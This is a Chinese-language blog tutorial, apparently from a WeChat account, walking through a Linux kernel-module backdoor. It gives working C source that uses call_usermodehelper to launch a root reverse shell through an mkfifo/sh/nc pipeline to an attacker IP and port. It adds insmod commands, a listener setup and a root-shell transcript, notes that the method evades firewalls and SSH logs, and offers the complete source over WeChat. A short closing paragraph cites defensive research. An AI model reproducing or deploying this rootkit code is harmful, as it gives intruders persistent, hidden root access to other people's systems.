Linux LKM 反向 Shell 后门技术揭秘(C/C++代码实现)
想象这样一个场景:攻击者已经拿到了你服务器的root权限,但他不想每次都用ssh登录留下痕迹。于是他在内核里塞了一个"定时炸弹"——只要加载这个内核模块,服务器就会自动向外发起连接,给攻击者送上一个拥有root权限的交互式shell。
这个技术核心就三个关键词:
- LKM(Loadable Kernel Module,可加载内核模块):就是那个.ko文件,能动态插入内核
- Rootkit:隐藏自身、维持权限的恶意工具集合
- 反向Shell:受害者主动连接攻击者,绕过防火墙
一、代码解剖:每一行都在干什么?
...
static char *host = "REV_TCP_LH=127.0.0.1";
module_param(host, charp, 0000);
static char *port = "REV_TCP_LP=1337";
module_param(port, charp, 0000);
static int __init mload(void)
{
char *envp[] = {
"HOME=/root",
"TERM=xterm",
host,
port,
NULL
};
char *argv[] = {
"/bin/bash",
"-c",
"/usr/bin/rm /tmp/pinkit;/usr/bin/mkfifo /tmp/pinkit;/usr/bin/cat /tmp/pinkit|/bin/sh -i 2>&1|/usr/bin/nc $REV_TCP_LH $REV_TCP_LP >/tmp/pinkit",
NULL
};
printk(KERN_INFO "[+] Command Execution Begin\n");
call_usermodehelper(argv[0],argv,envp,UMH_WAIT_EXEC);
printk(KERN_INFO "[+] Command Execution End\n");
return 0;
}
static void __exit munload(void)
{
printk(KERN_INFO "[+] Happy Hacking!\n");
}
module_init(mload);
module_exit(munload);
...
If you need the complete source code, please add the WeChat number (c17865354792)
让我们把这段代码掰开揉碎了看。
1. 参数配置部分
static char *host = "REV_TCP_LH=127.0.0.1";
module_param(host, charp, 0000);
static char *port = "REV_TCP_LP=1337";
module_param(port, charp, 0000);
这里用了module_param宏,允许你在加载模块时动态传入参数。比如:
insmod backdoor.ko host="REV_TCP_LH=192.168.1.100" port="REV_TCP_LP=4444"
设计巧思:把IP和端口伪装成环境变量名(REV_TCP_LH/LP),既方便传参,又能在shell命令里直接用$REV_TCP_LH这种方式引用,省去了字符串拼接的麻烦。
2. 环境变量设置
char *envp[] = {
"HOME=/root",
"TERM=xterm",
host, // 实际是 "REV_TCP_LH=xxx.xxx.xxx.xxx"
port, // 实际是 "REV_TCP_LP=xxxx"
NULL
};
这里配置了子进程的环境变量。call_usermodehelper在执行用户空间程序时,会把这些环境变量传给新进程。
3. 核心攻击载荷
char *argv[] = {
"/bin/bash",
"-c",
"/usr/bin/rm /tmp/pinkit;/usr/bin/mkfifo /tmp/pinkit;/usr/bin/cat /tmp/pinkit|/bin/sh -i 2>&1|/usr/bin/nc $REV_TCP_LH $REV_TCP_LP >/tmp/pinkit",
NULL
};
这一行字符串就是整个攻击的"灵魂"。让我们拆解这条复杂的命令:
第一步:清理现场/usr/bin/rm /tmp/pinkit —— 删除之前可能残留的管道文件
第二步:创建命名管道(FIFO)/usr/bin/mkfifo /tmp/pinkit —— 创建一个特殊的管道文件。FIFO是"先进先出"的意思,在这里充当数据中转站。
第三步:经典的nc反弹shell三联招
cat /tmp/pinkit | /bin/sh -i 2>&1 | nc $REV_TCP_LH $REV_TCP_LP > /tmp/pinkit
这个管道链的流向是这样的:
cat /tmp/pinkit读取管道里的数据(来自nc接收到的命令)- 通过管道
|传给/bin/sh -i(交互式shell执行) - shell的输出(包括标准输出和错误输出
2>&1)再传给nc nc把数据发给攻击者,同时把攻击者发来的数据写回/tmp/pinkit管道
这是一个双向通信的循环:攻击者输入 → nc接收 → 写入管道 → cat读取 → sh执行 → 输出给nc → 回传给攻击者。
4. 内核调用用户空间程序
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
这是整个实现最关键的一行。call_usermodehelper是Linux内核提供的一个API,允许在内核态直接启动用户态程序。
参数解释:
argv[0]:要执行的程序(/bin/bash)argv:参数数组envp:环境变量数组UMH_WAIT_EXEC:等待执行完成(但这里的"完成"只代表命令启动,不代表管道关闭)
为什么从内核启动shell能拿到root权限?因为内核模块运行在最高特权级(Ring 0),通过这种方式启动的子进程自然继承了root权限,而且不会经过PAM认证、不会留下ssh登录日志。
二、设计思路与技术选型
1. 为什么选择LKM而不是用户态程序?
- 隐蔽性强:lsmod能看到,但可以通过各种技术隐藏(比如从模块链表中摘除)
- 权限高:直接内核态运行,绕过所有用户态的权限检查
- 触发时机可控:可以在系统启动时加载,或者通过udev规则触发
2. 为什么选择反向连接(Reverse Shell)而不是正向绑定?
- 防火墙友好:大多数服务器防火墙会拦截外部入站连接,但通常允许出站连接
- NAT/内网穿透:受害者在内网也能连出来,不需要公网IP
- 隐蔽性:网络连接看起来像是正常的出站流量,不像监听端口那么显眼
3. 为什么要用FIFO管道?
nc本身只能做单方向的数据转发,通过FIFO管道实现了全双工通信:
- 攻击者发送的命令通过nc → 管道 → sh执行
- sh的输出通过nc回传给攻击者
这相当于用nc和管道"搭了一座桥",让攻击者的shell会话能够交互。
三、执行流程图解
[攻击者机器] [受害者机器(已植入.ko文件)]
| |
| | insmod backdoor.ko
| |
| v
| [内核模块加载]
| [call_usermodehelper]
| |
| v
| [启动 /bin/bash -c]
| |
| v
| [创建FIFO管道 /tmp/pinkit]
| |
| v
| [nc 连接 攻击者IP:端口]
|<---------------------- SYN ---------------------|
|----------------------- SYN+ACK ---------------->|
|<---------------------- ACK ---------------------|
| |
| v
| [建立TCP连接成功]
| |
|<====== 攻击者输入命令 "whoami" =================|
| |
| [nc接收 → 写入FIFO → sh执行]
| |
|====== 返回执行结果 "root" =====================>|
| |
| [循环往复,直到连接断开或rmmod]
四、涉及的技术领域知识点
1. Linux内核模块编程
module_init/module_exit宏:定义模块生命周期MODULE_LICENSE等宏:模块元信息声明- 内核与用户空间的边界跨越
2. 进程间通信(IPC)
- FIFO(命名管道):文件系统上的管道,允许无关进程通信
- 管道符
|的底层实现:shell创建pipe,连接stdout和stdin
3. 网络编程基础
- TCP三次握手:反向连接建立过程
- Netcat(nc):网络瑞士军刀,这里作为数据转发器
- 文件描述符重定向:
2>&1将stderr合并到stdout
4. Linux系统调用链
call_usermodehelper→call_usermodehelper_exec→kernel_execve- 内核如何构造用户态进程上下文
5. Shell技巧
- 交互式shell(
-i参数):强制bash交互模式,即使stdin不是终端 - Here-document与管道:数据流的编排艺术
五、测试运行流程
步骤 1:开启监听端
打开第一个终端,模拟攻击者机器:
# 监听 1339 端口(与代码中默认端口一致,或自定义)
nc -lvp 1339
你会看到:
listening on [any] 1339 ...
步骤 2:加载内核模块(受害者视角)
打开第二个终端(同一台虚拟机内,模拟受害者执行了恶意模块):
# 切换到 root(必须 root 才能加载内核模块)
sudo su
# 加载模块,使用默认参数(连回 127.0.0.1:1337)
insmod backdoor.ko
# 或者指定远程IP和端口(假设攻击者在 192.168.1.100:4444)
# insmod backdoor.ko host="REV_TCP_LH=192.168.1.100" port="REV_TCP_LP=4444"
步骤 3:观察连接建立
如果一切正常:
**第二个终端(加载模块的终端)**会显示:
# 看起来命令立即返回了,但实际上后台已经启动了 nc 进程
**第一个终端(nc 监听端)**会显示:
connect to [127.0.0.1] from localhost [127.0.0.1] 54321
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
#
这时候你在第一个终端输入:
id
pwd
ls -la
看到 uid=0(root) 就说明成功了——你现在通过 nc 拿到了一个 root shell。
查看模块状态
在第二个终端(受害者端)可以查看:
# 查看已加载模块
lsmod | grep backdoor
# 输出:backdoor 16384 0 - Live 0xffffffffc0xxx000 (O)
# 查看详细内核日志(看 printk 的输出)
dmesg | tail -n 10
# 应该能看到:[+] Command Execution Begin 和 [+] Command Execution End
清理现场
测试完毕后必须彻底清理:
# 1. 卸载内核模块(停止新连接,但已建立的 nc 进程可能还在)
rmmod backdoor
# 2. 检查并杀掉残留的 nc 进程
ps aux | grep nc
kill -9 [nc的PID]
# 3. 删除管道文件(如果存在)
rm -f /tmp/pinkit
# 4. 验证清理
lsmod | grep backdoor # 应该无输出
ls /tmp/pinkit # 应该提示 No such file
更彻底的清理:直接恢复快照,这是最安全的做法。
总结
这种技术的核心思想是**“借尸还魂”**——借用Linux内核 legitimate 的API(call_usermodehelper),执行 legitimate 的系统工具(bash、nc),但组合出了恶意的功能。
它展示了在Linux系统中,内核态的权限有多高——不仅能读写内存、控制硬件,还能直接 spawn 拥有完全权限的用户进程。这也解释了为什么内核安全是整个系统安全的基石。
对于安全研究者来说,理解这种技术有助于:
- 设计更完善的入侵检测系统(IDS)
- 理解内核级攻击的杀伤链(Kill Chain)
- 构建纵深防御体系(Defense in Depth)
Welcome to follow WeChat official account【程序猿编码】
更多推荐

所有评论(0)